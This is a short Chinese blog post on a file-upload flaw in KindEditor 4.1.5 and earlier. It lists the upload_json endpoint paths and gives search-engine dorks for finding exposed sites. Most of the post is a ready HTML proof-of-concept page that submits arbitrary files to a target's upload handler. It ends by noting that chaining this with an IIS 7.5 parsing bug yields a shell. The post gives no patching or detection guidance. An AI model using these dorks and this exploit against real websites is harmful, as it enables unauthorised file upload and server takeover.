漏洞存在于 kindeditor 编辑器里，你能上传. txt 和. html 文件，支持 php/asp/jsp/asp.net

漏洞存在于小于等于 kindeditor4.1.5 编辑器中

根本脚本语言自定义不同的上传地址，上传之前有必要验证文件 upload_json.* 的存在

/asp/upload_json.asp
/asp.net/upload_json.ashx
/jsp/upload_json.jsp
/php/upload_json.php

关键字：

allinurl:/examples/uploadbutton.html
allinurl:/php/upload_json.php / .asp / .jsp
Kindeditor ≤ 4.1.5 文件上传漏洞-Ti0s's Blog
Kindeditor ≤ 4.1.5 文件上传漏洞-Ti0s's Blog

Poc

<html><head>

<title>kindeditor<=4.1.5文件上传</title>

<script src="https://www.ti0s.com/kindeditor/kindeditor-min.js"></script>

<script>

KindEditor.ready(function(K) {

var uploadbutton = K.uploadbutton({

button : K('#uploadButton')[0],

fieldName : 'imgFile',

url : 'https://www.ti0s.com/kindeditor/asp/upload_json.asp?dir=file',

afterUpload : function(data) {

if (data.error === 0) {

var url = K.formatUrl(data.url, 'absolute');

K('#url').val(url);}

},

});

uploadbutton.fileBox.change(function(e) {

uploadbutton.submit();

});

});

</script></head><body>

<div class="upload">

<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />

<input type="button" id="uploadButton" value="Upload" />

</div>

</body>

</html>

配合IIS7.5文件解析漏洞可直接Getshell